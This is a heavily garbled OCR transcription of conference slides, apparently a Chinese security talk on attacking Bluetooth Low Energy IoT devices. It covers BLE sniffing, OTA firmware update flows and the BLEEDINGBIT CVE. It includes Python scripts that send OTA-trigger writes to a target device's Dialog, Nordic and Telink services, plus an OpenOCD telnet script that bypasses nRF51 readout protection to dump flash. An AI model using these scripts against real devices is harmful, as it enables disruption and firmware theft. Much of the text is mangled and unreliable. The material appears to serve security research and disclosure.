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el e Vol e &AW 8 W W W W LT

ke T N e BN T o8 WLEAL & BT

=S MY R

BT WL Wl r LA g b = L e b

5203 16.066598 0Oinanina 34:6a:bf Broadcast L= 4] 5?

» Frame 5202: 57 bytes on wire (456 bits), 57 bytes captured (456 bits) on 1int
» Nordic BLE Sniffer
Bluetooth Low Energy Link Layer

Access Address:
» Packet Header:

Ox8e89bed6
Ox1Te0 (PDU Type:

Advertising Address: Qingping_34:
v+ Advertising Data

» Flags
v+ Servlice Data
Length: 21

- 16 bit UUID

ADV_IND, ChSel: #1, TxAdd: Public)
6a:bf (58:2d:34:34:6a:bf)

Type: Service Data - 16 bit UUID (0x16)

UUID 16:

Service Data: 5020aafl101bf6a34342d580d10043a01b801

CRC: 0x167b64

f2 32 00 02 ac d9 06 Ga 01 27 39 00 GO 9b OC 06

@0 d6 be 89 86 Q0 1f bf 6a 34 34 2d 58 02 01 06

15 16 95 Te BEloEP{chE-t-RCckENON NN}y
10 04 3a 01 bB cxl 68 de 26

6a 34 34 2d 58 od

Counter 01

EID 100d
Data len 04




time | mac | name | data parsedata |

----------- o R el B L 8 Lo b i b kb e e i s
14:57:49 A7:A7:76 NIREE
14:57:49 52:9D:3D kg
14:57:49 80:58:F1 2 1T 041002fcO0 TEMP:25.2
14:57:49 00:00:31 /e = 1T 0610021509 HUMIDITY:232.2 ”,_ §E
14:57:50 86:F1:2F 8ymEBIKT 051002003c BOIL
14:57:560 6F:E7:E6 B /B IR
14:57:50 E5:92:CB B85 5 sl 0809534d492d4d3153
14:57:50 80:58:F1 i 2 1T 0610022c01 HUMIDITY:30.0
14:57:51 34:6A:BF e 0d1004faf0fdee TEMP:25.0&HUMIDITY:25.3
14:57:52 FD:6E:DF =K BB o)) 0809534d492d4d4331
14:57:52 C4:09:43 EB ) 5 il 0809534d492d4d3153
14:57:52 SE:87:FC @Ak e 112 03100132 BATTERY:50 =
14:57:52 80:58:F1 Jm e 2 1T 0610022c01 HUMIDITY:30.0 EE‘E
14:57:53 34:6A:BF FanE 0d1004f900fa00 TEMP:24.9&HUMIDITY:25.0
14:57:54 0A:09:34 Bl 0809534d492d4d3153 B =
14:57:54 80:58:F1 v e e 1T 0610022c01 HUMIDITY:30.0 JILIS2.
14:57:55 34:6A:BF FmmE 061002800 HUMIDITY:24.8 .
14:57:55 75:D5:36 B SRl 0809534d492d4d3153 H =
14:57:55 80:58:F1 i e 2 1T 041002fcO0 TEMP:25.2 ANl b~4
14:57:56 A1:63:A0 oAk S 112 —
14:57:56 34:B0:F6 SEEIT?2 7J<
14:57:57 52:9D:3D Sael 18 | ENCRYPT :3d9d523706de07a53eb5747375eb274c5¢ :ﬂ:
14:57:57 92:2E:C2 B8 ) 5F Rl 0809534d492d4d3153 |:||:| :
14:57:57 80:58:F1 /A S 1T 041002fcO0 TEMP:25.2 {g Q]:E
14:57:58 S5E:87:FC BEEt?2 061002fa00 HUMIDITY:25.0 /N HR R
14:57:58 AD:53:58 @ fE T2 0610020401 HUMIDITY:26.0
14:57:59 34:6A:BF Fmnk E 0d1004fbo0fce0 TEMP:25.1&HUMIDITY:25.2 ;F;él _‘I %{q: (7] )
14:57:59 80:58:F1 e S LT 041002fcO0 TEMP:25.2
14:58:00 52:9D:3D Heel 18
14:58:00 80:58:F1 e S 3T 0610022c01 HUMIDITY:30.0
14:58:01 34:6A:BF RmE 0d1004f900fa00 TEMP:24.9&HUMIDITY:25.0
14:58:01 80:58:F1 v 2 3T 041002fcO0 TEMP:25.2
14:58:02 80:58:F1 il ang 0610022c01 HUMIDITY:30.0
14:58:04 SE:87:FC ke 112 P61002fan0 HUMIDITY:25.0
14:58:04 80:58:F1 v 2 1T P610022c01 HUMIDITY:30.0

----------- T T T T




. T MY AR =

(p beacon->frame ctrl & ENCRYPT MASK) { i BERE  EUEE(ERTR BT (88 18 m&;’ uu
p info->encrypted = 1; N1 N1 HNOo0oO N 00000
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manifest.json

{

}

I2C-2019

X A £ & X =

—+-

C
TF
N

S ls xxac.extracted

"manifest”: { DUCk bln H i& IEHq:
‘application”:{ Duck.dat # 12 &% 32 31HF
in_File": "Duck.bin", - -
e manifestjson # 5215
"init_packet data": {
"application version": 67, Duck.dat
"device revision": 65535, FF FFFFFF43 00 000001 00 64 00
"device type": 65535,
, BIFREER
"softdevice req": [ IEI {q: H& zl:
= SoftDevices 9= A Ky 7 85
}
)
"dfFu version": 0.5

}

Al & Legacy OTA (SDK 11.x)

ol
O
._1
>

S hexdump -n 64 -C B.bin

0000000 70 51 aa ff 78 88 00 00

00000010 35 00 ff ff ff ff ff ff
00000020 00 ff ff ff ff ff ff ff

00000030 ff ff ff ff ff ff ff ff

I{fF;L 2byte 70 51
PR1R 7T 2byte aa ff

E{4X/\ 4byte

IRZS 16byte
ZREIng]E] 4byte

REE 1

B & OTA

31 2e 30 Ze
ff ff ff ff 2c dO 6d
EEOET I I IT IT 1T ff
ff ff ff ff ff ff ff ff



I—IER):IL r ﬁﬁ OTAj‘_J— 7% 2. FOTA Application Flow

OTA_UUID_SERVICE="00010203-0405-0607-0809-0a0b0c0d1912"
SPP_DATA_OTA="00010203-0405-0607-0809-0a0b0c0d2b12"

null@null

2.1. Flow chart

The user triggers
the FOTA process

Download the FOTA package
from the HTTP server

Write OxO0FF
Write OxO1ff # OTA START

010010
0100
0200

E| {43k (addr index)
C/ /& OTA

Read working area status

Erase the working area

FOTA User Gm

AB16xx

Reboot and boot from the
working area



o H BOTARXE
BLEEDINGBIT OAD RCE;E;{l (CVE-2018-7080)

BLEEDINGBIT OAD RCE/RARE & FEAruba Access Point Series 30047, H{EBE7T &

OAD (Over the Air firmware Download, OTABF T&) . BALH, XELFLEEBLESH
IITAX#ATEFEMNRGEI . OADFIEE#RBIEAATE, WA TAPEF R, AIFHHIBIIX
T & XK BN RE2FHHNARMRENE ST, EEEZBEBLETC HIRIERS

MIABRT, OTﬂsﬁfE#TEﬁﬂﬂﬁﬁﬁﬁ?&ﬁ%@%ﬁ@ﬁﬁﬂlﬂ QAthifFiﬁ?:IEBLEE)#_J;E*JIEI
MBI GATTE S H TR R T . TTArubafIAPH, EiR 2 el e Sl e D= e I
& m B

BREBE S ABEMAL FArubalyBLEE R IRENERID Z NI T & ] LUEREI B RANAPH
BLEGFH, # LEEERGENBNEREN, RFEERIFAS. REGEEHFINBIBB,

Z=FCVE-2018-7080, ¢

public class BluetoothlLeService
extends Service

{

public static String ABLACCESS_.COOKIE = "FOCAOCA23171
public static UUID AB_CHARACTERISTIC_UNLOCK_UUID:;
public static UUID AB_SERVICE_UUID: E]” 5 OTA

89F6B340":



I;

I\

| )
D | O w4

KX A B B X £

self.type g :

Dialog SERVICE="0000Tef5-0000-1000-8000-00805T9b34Th"
Dialog OTA-"8082caa8-41a6-4021-91c6-56T9b954cc34"

el f.wgFixedText.value="Connecting.."
ble conn = btle.Peripheral(attack mac,
ble conn.setDelegate(TestDelegate())
selT.wgFixedText.value="Attack Counter:"
self.AttackCounter+=1

5 ble conn.getServiceByUUID(Dialog SERVICE)
c=s.getCharacteristics()[@]

ble conn.writeCharacteristic(c.getHandle(),bytes.fromhex Gﬂﬂﬂﬁﬂfe J _Lfﬂe:
ble conn.writeCharacteristic(c.getHandle(),bytes.Tromhex('000800fd'), withRes
ble conn.disconnect()

self.type iy

Nordic SERVICE="00001530-1212-efde-1523-785Teabcdl23"

elf. nglxedText value="Connecting.."

ble conn = btle.Peripheral(attack mac, btle.ADDR_ TTFE PUELI[}

ble conn.setDelegate(TestDelegate())
self.wgFixedText.value="Attack :"+str(self.Atta ﬁﬁ?&r

elT.AttackCounter+=1
ble conn.writeCharacteristic(@x2a,byte
ble conn.writeCharacteristic(@x29,byte
ble conn.disconnect()

self.type ! i
selfT.wgFixedText.value="Connecting.."
ble conn btle.Peripheral (attack mac,
ble conn.setDel egate{TeJtDehegﬂte{}}
elf. wgFixedText.value="Attack
self.AttackCounter+=1
ble conn. mriteiﬁarecterietic{”
ble conn.writeCharacteristic(e
blE_{Gnﬂ wlltEC1EIstEIlJtlE{.

btle.ADDR TYPE PUBLIC)

stri{self.AttackCounter)

s.Tromhex('0100"'), Response=True)
s.fromhex('0l64'), ;;tfﬂf’ﬁﬁ se=True)

btle.ADDR TYPE PUBLIC)

,bytes.fromhex('01'))
b;L:_ fromhex('0402'))
'i,ﬂjLﬁJ.ermhex{IGEECEEEGI}}

self.type :
TELINK OTA UUID SEHUIEE "PE010203-0405-0607-0809-0a0becodl19l1z2"
TELIHK_SFP_DATA_GT# "0P010203-0405-0607-0809-0a0bocedzblz”
self.wgFixedText.value="Connecting.."
ble conn = btle.Peripheral(attack mac,
ble conn.setDelegate(TestDelegate())
el f.wgFixedText.value="Attack :"+str(sel
self.AttackCounter+=1 j: ) ‘J:
s = ble conn.getServiceByUUID({TELINK OTA UUID SERVICE) = ::?.l
c=s.getCharacteristics()[@]
ble conn.writeCharacteristic(c.getHandle(),bytes.fromhex('080ff'))
ble conn.writeCharacteristic(c.getHandle() ,bytes.fromhex('@1ff"'))
ble conn.disconnect()

btle.ADDR TYPE PUBLIC)

f.AttackCounter)

NRBER

e B A R TR

AT S

[
ponse=True)

DFU 1=\, 1x & FAm N 1, 53 4

s8], ] SR ZE VKT

X & iEADFU =2\, 1x & i 173

nae

0003cd48
0003cd4a
0003cd4c
0003cdde
0003cd50
0003cdS52
0003cd54
0003cd56
0003cd58
0003cd5a
0003cd5c¢
0003cdSe
0003cd60
0003cd62
0003cd64
0003cdb6
0003cdb8
0003cd6a
0003cdbe
0003cd6e
0003cd70
0003cd72
0003cd74
0003cd76
0003cd78
0003cd7a
0003cd7c
0003cd7e
0003cdB0
0003cd82
0003cdB4
0003cdB6
0003cd8s8
0003cdBa
0003cd8c
0003cd8e
0003cdo0
0003cd92
0003cd94
0003cd96
0003cd98

finedl

10
00
86
b0
PO
PO
01
69
10
P2
D8
03
71
00
19
69
48
40
48
03
Do
70
PO
10
7
09
b8
ic
Bo
Oa
B¢
b8
Bl
18
cl
ff
D4
91
41
D1
ia

0003cd9%a 06

0003cd9c
0003cd9e
0003cdof

0003cdad &

b5
24
bo
1c
D7
of
Q4
46
30
94
70
ag
df
28
dl
46
7b
1¢
73
a9
20
df
28
dl
22
al
46
df
28
dl
21
46
80
21
80
21
81
31
81
ad
df

Y o oy o= I'-.

Stack|-0x20)]:1 Lo«

FUM_DDBECddB
push
mov
sub
add
1sl
Lsr
Str
mov
add
str
strb
add
SVC
cmp
bne
mov
ldrb
add
strb
add
mov
SV
cmp
bne
mov
adr
mov
SVC
cmp
bne
mov
mov
strh
mov
strh
mov
strh
add
strh
add
SVC

LAB_0003cd9a

add
pop

77
?7?

ds

’ #U i )
LA0x18
S i *#ﬂ i :_

S BOx1cC
L BOx]1cC

#local 1c

'._ i -‘[|

,#local 18
], #0x0])=>1ocal 2C

L BOXC
Ox71
, #0x0

LAB_0003cd9a

- ¥

ri,#local 1

20X 1

.rl,#local

5P, #0XC
, #0x0
Ox70
, #0x0
LAB 0003cd9a
, #O0X7T

. [0x3cda0]

Dx /¢
, #0x0

LAB 0003cd9a
L HOXC

O0h
O0h
“DfuTarg'

= F= 9

EHE&_*_:

undetineds8 FUN 0003ca48(vold)

software interrupt(0x71

:f r - I LN 1| 'f‘_r .‘.,1 * ;f '
software i1nterrupt(0x70):

- i'.i'
software 1nterrupt(

1T ((undeTl

software_interrupt(0x7a

}
return CONCAT44(

0003cd64(7).

)) {

PO03cd76(7)
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21 1 oo A LR EUR TR

Jlink iZEXFlash#43E >Reset halt # E i HF R F TR
>reg # 1XE\EF 73

RBPCONF >step # BT N —F1ES
Flash=s[g]1EY{RIF >reg

>step
APPROTECT

2P ERIREHEN oSBT ILinkiZEAIE,
B R AT BURIFIS S HE] 159
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===== grm v/m
(0) r@ (/32):
(1) r1 (/32)%
(2) r2 (/32):
(3) r3 (/32)%
(4) r4 (/32):
(S) r5 (/32)8
(6) ré6 (/32):
(7T) 17 (/32)%
(8) r8 (/32):
(9) r9 (/32)%
(10) r10 (/32):
(11) r11 (/32):

(12) ri12 (/32):

(13) sp (/32):
(14) 1r (/32):

(15) pc (/32):

registers
Ox00000000
Ox00000000
OxX00000000
OxX0000031F
Ox00000000
Ox00000000
Ox00000000
Ox00000000
OxX00000000
Ox00000000
OxQ0000000
Ox00000000
Ox20000400
OXFFFFFFERF
Ox00000322

(16) xPSR (/32): 0x0100000

(17) msp (/32):
(18) psp (/32):

(19) primask (
(20) basepri (

Ox200004060
Ox00000000
/1): Ox00
/8): Ox00

(21) faultmask (/1): 0x00

(22) control (
(23) dO (/64):
(24) d1 (/64):
(25) d2 (/64):
(26) d3 (/64):
(27) d4 (/64):
(28) d5 (/64):
(29) d6 (/64):

[2): Ox00
0x0000000000000000
Ox0000000000000000
Ox0000000000000000
Ox0000000000000000
Ox0000000000000000
Ox0000000000000000
Ox0000000000000000

2513 15 SF oy A 1EEVR 1P

> step

target halted due to single-step, current mode: Thread

XPSR: Ox01000000 pc: 0x00000324 msp: 0x20000400
> reg

===== arm v/m registers

(0) r® (/32): OXFFFFFFFF
(1) r1 (/32): 0x00000000
(2) r2 (/32): Ox00000000
(3) r3 (/32): Ox0000031F
(4) r4 (/32): 0x10001000
(5) r5 (/32): 0x00000000
(6) r6 (/32): Ox00000000
(7) r7 (/32): Ox00000000
(8) r8 (/32): Ox00000000
(9) r9 (/32): 0x00000000
(10) r10 (/32): Ox00000000
(11) r11 (/32): 0x00000000
(12) r12 (/32): 0x00000000
(13) sp (/32): 0x20000400
(14) 1r (/32): OXFFFFFFEF
(15) pc (/:2) BXD@BBB324

i N ™~ N 4l P ™ M MM

reg r4 Ox00000322

4 (/32): Ox00000322

> reg pc Ox00000322

c (/32): Ox00000322

> step

target halted due to single-step, current mode:
XPSR: O0x01000000 pc: Ox00000324 msp: Ox20000400
> reg ro

r@ (/32): 0x68006960

>

Thread

null@null:~S printf "\x60\x69\x00\x68" >> binarycode
null@null:~$ hexdump -C binarycode

0000000 60 69 00 68

00000004

| "i.h]

null@null:~$ arm-none-eabi-objdump -D --target binary -Mforce-thumb -marm binarycode

binarycode: file format binary

Disassembly of section .data:

00000000 <.data>:
0: 6960 ldr

2:.0, 6800 Ldr

ro, [r4, #20]
ro, [r0, #0]

ldr rO,[r4,#20]

’l T?‘l:u:l r4+20$*ﬂ}Elﬁ-)\_I@ |:||:|r

o[BI X T A E R F

T 23



25239 0% SF oy | 12 BNVAR TP
Flash Data Storage (FDS) Struct

Without bootloader

0x80000 HOST="127.6.0.1"
512 KB PORT="4444"

th = telnetlib.Telnet (HOST, PORT)
tn.set debuglevel(0)
tn.read until(">")

def tncmd(cmd) :
tn.write(cmd “~n")
tn.read until(">")

Application

tncmd (" reset halt")

open("Flash.bin", "w") as outfile: figEA 12BN Y 4
addr xrange(int("0x7dfed", 16), 1int("Ox80000", 16), 4):
tnemd ("reg pc 0x322") ldr 355t
tncmd("reg r4 " hex(addr)) ZE1FHVZEIIE
tncmd("step")
resp = tncmd("reg ro")

t = re.findall(r'ex[0-9a-fA-F]+', resp)
L v
outfile.write(struct.pack("I", int(t[0], 16)))
(addr = 1Int("0x400", 16)) 0:
hex(addr)

0x00000000




HEIFlash RERBE v

Flash Data Storage (FDS)

int psm record read(uintlé t rec key, uint8 t *out, uintlé t out len) ;5} H 41 Ta C _'”-’."' --" £ZJUA. . L. TF
; S .

uint32 t ret = 0; ' )f 00 49 4d 00 60 62 00 00 00 60 00 00 00 |....IM..........
fds flash record t flash record; _ )1 b9 ec 99 21 t | 7 74 19 ca f3 ac |<.....l..v. Ens
fds record desc t record desc; 49 d9 17 5e b8 79 11 fc 43 e4 ) 48 60 ¢ [eeDe¥esCoeYH'
fds find token t ftok = {0};

ret = fds record find(® _RECORD FILE ID, rec key, &record desc, &ftok); | » -.ILL:_ '8 c2 bs e ?f;}; §q g s |

RECORD FILE ID x4 |9 . Ta s 3 7
RECORD KEY OxB :F PE PO P PR P TP AR cEEREEr PR T FF BF  Jooinsnecmmaes
RECORD KEY INFO Ox10 ce £f FF FF FF FF FF FF (A | | 1o F1

i 5 FDSTREAEEE

Data Page Tag : OXDEAD CODE OxF11E O1FE



ZEOHBEHRE

Bx18cl, BOxE948,
Oxabba, Oxbid83,
OxZ2942, Bx38cb,
Bxb58b, BOxadl?2,
Ox39c3, OxZB4a,
Bxcbbc, Oxd/Bb,
Oxdadd, GOxbbcd,
BxdbB8d, Bxc/04,
Bx5ach, Ox4dbdc,
Bxe/be, Oxfod/7,
Oxbbdb, BOx/acft,
Exf/7/8f, Oxebbb,
Ox/bc/, Oxbade,

Bx3bd3,
BxB8618,
BxBbadbi,
Bx9699,
Oxladl,
Bxedle,
Bx6956,
Bxf597f,
Bx79d7,
Bxcdlc,
Bx4854 ,
BxddSd,
Bx58d5,

fdc_crc(ul

o el o

-
=

len; 1++, |
B 7 tHe oo tableficre—

CEE = OXTFTER;

};
{
X i
(o = Qe
CrE = [CFC b
I
}
cmdStart[4]
cmal A =
cmd2[4] =
RS

{Ox0B, OxO1, Bx3b, Ox3a};

BxZaba,
Bx9791,
Ox1bdy,
Bx8710,
OxEb58,
Exf497,
Ex78df,
Bxedlb,
Bxb8he,
Bxd585,
Bx59dd,
Gxes 4,
Bx495c,

Bxbeed, Ox4fbc, Ox/df
Bxe32e, OxTZa/, BOxcl3c, Oxdlb5,
Oxbfob, Ox/eef, Oxdc/4, BOx5dfd,
BxT3af, OxeZZb, OxdBbd, BOxcl34,
Ox/fe/, Oxbebe, Ox5cfh, Oxd4d/c,
BxBOZ28, OxY9lal, Oxa33a, OxbZb3,
D::'?:C":E'E', B}.:'lclnl"“. [ N Sl 1 S s | Tive T F b=

Bx90a9, (Ox8
Bxlcel, Ox0B
OxalZa, OxbUs

0x2d62, Ox3

Oxhlab,  Oxat

4+

[0x00, 0x01, Ox01, 0x00};
[0x00, Ox01, Ox28, 0x29};

7, Bxbcle,

Jdev/ttyACMO (Arduino/Genuino Uno)

A1 48 G0 00 00 0 3C CC

0x3de3, Ox2J0l0RE:: Jﬁ%&ﬁé‘_’,,@%%ﬁft%*
00 0C # IROIFIBIKE
Al # JIZRN/ F=ERID

48 # [ THID

00 00 00 00 3C CC 01 B8 # P FFIS

{ EO FD # CRC16

IMERHT 5950 =77

-+

&R R T 9447

L,

ERT (18%) BREEHEM - fAT 2oowe

(46%) BIENA MTE,

F [aTd
7= H

1104 BEEE - Bk

Show tirnestamp

$2048F 7 -

118

A1 BB EG FD
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ChipType Sign FrameCtrl Time .
:0A:GO: BB T oF Wl 3031 10:09:53
+F7:67: 69 3040 10:10:03
‘EF:21: =SEN L) 3030 10:10:03
:00:4C: RS o] B2 & cBEEZ 2050 10:10:02
:34:6A: i e 1T 2050 10:10:03
+SE:87:FC S 112 3070 10:09:49
:80:58:F1 it 2070 10:10:03
. 6F :E7:E6 Be S B IRTT 2031 10:10:01 BlueE e 114 ﬂ: $ 'L‘l' |
:86:F1:2F B 7K TE * B4 KB %R 2071 10:10:00 - ~
:C4:09:43 B R ' 3031 10:09:55
:88:5B8:22 RSN E LB REEEH e BEA 2230 10:10:03 4 s
:A7:A7:76 RE 4010 10:09:57 j:a }E B{q] 115 ﬂ:}—'- N0
:AD:53:58 AL T2 3070 10:10:01
:34:B0:F6 2112 5830 10:10:00
:00:00:31 Fmnn e it 2270 10:10:03 AN |
:75:D5: 36 BRI R 3031 10:09:49 *ﬁ'l / \}:IL ;:F.J
:A1:63:A0 AL 1T2 5830 10:09:58 X LJ
:FD:6E:DF ==p - 4z:h) 3031 10:09:51
L\ Y K4
- BRIRESFT BEUE
e e e R L L LR e e L R R L LT LR TR L LR L L LT L LT +
| time | mac | data | parsedata |
s sasasa= $rrssssssassssssssan= $rsssssssssssssssssnnaa s csssssssssssssssssasanas + : . : = « M4 s A4 . : ’
S ihie e S Cniar Select Chip 1:Nordic 2:Dialog 3:Airoha 4:Telink :I-" U L _|(|_ |;‘;| I /\
10:10:03 :34:6A:BF 0d1004ef001301 TEMP:23.98HUMIDITY:27.5 /)\ -l.I ILJ\ I
10:10:03 +80:58:F1 090610024301
10:10:02 :F7:67:1D 0110020100
10:10:02 :F7:67:1D 0110020100
10:10:01 :F7:67:1D 0110020100
10:10:01 :AD:53:58 090610023601
10:10:01 :00:4C:F5 0610024601 HUMIDITY:32.6
10:10:01 :F7:67:1D 0110020160
10:10:01 :34:6A:BF 0a16015d BATTERY:93
10:10:00 :F7:67:1D 0110020160
10:10:00 F7:67:1D 0110020160
10:10:00 00:4C:F5 1010020100 HCHO:0.01
10:10:00 86:F1:2F 090510020054
| 164-AQ-C0 | E7+&7+10 | B1108768108 | |




BlueEye & SF &6 1T 22




AN
=

MIDC- 2019

AR R

o
1A
JIT1

X A & & X

I\

A -

-
o -

4

) 2
~

llllllllllllllllllllllllllllllllllll
g N

128
Ik
K

) J
) J \~
Vo -

N oy o e e O N S S s san am am B BN BN BN BN BN BN BN B BN BN BN B BN B B B B B O o mm P







MIDC-2019 SaERRIT

A N Z

https://github.com/hexway/apple bleee

https://www.armis.com/bleedingbit/

https://e2echina.ti.com/question answer/wireless connectivity/bluetooth/f/103/t/164971
https://iot.mi.com/new/guide.html?File=04-&%x A T\ H % 8= /06-BLE~m¥x A\ /05-’KZXBLE MiBeacon{/}iX

https://www.pentestpartners.com/security-blog/nrf51822-code-readout-protection-bypass-a-how-to
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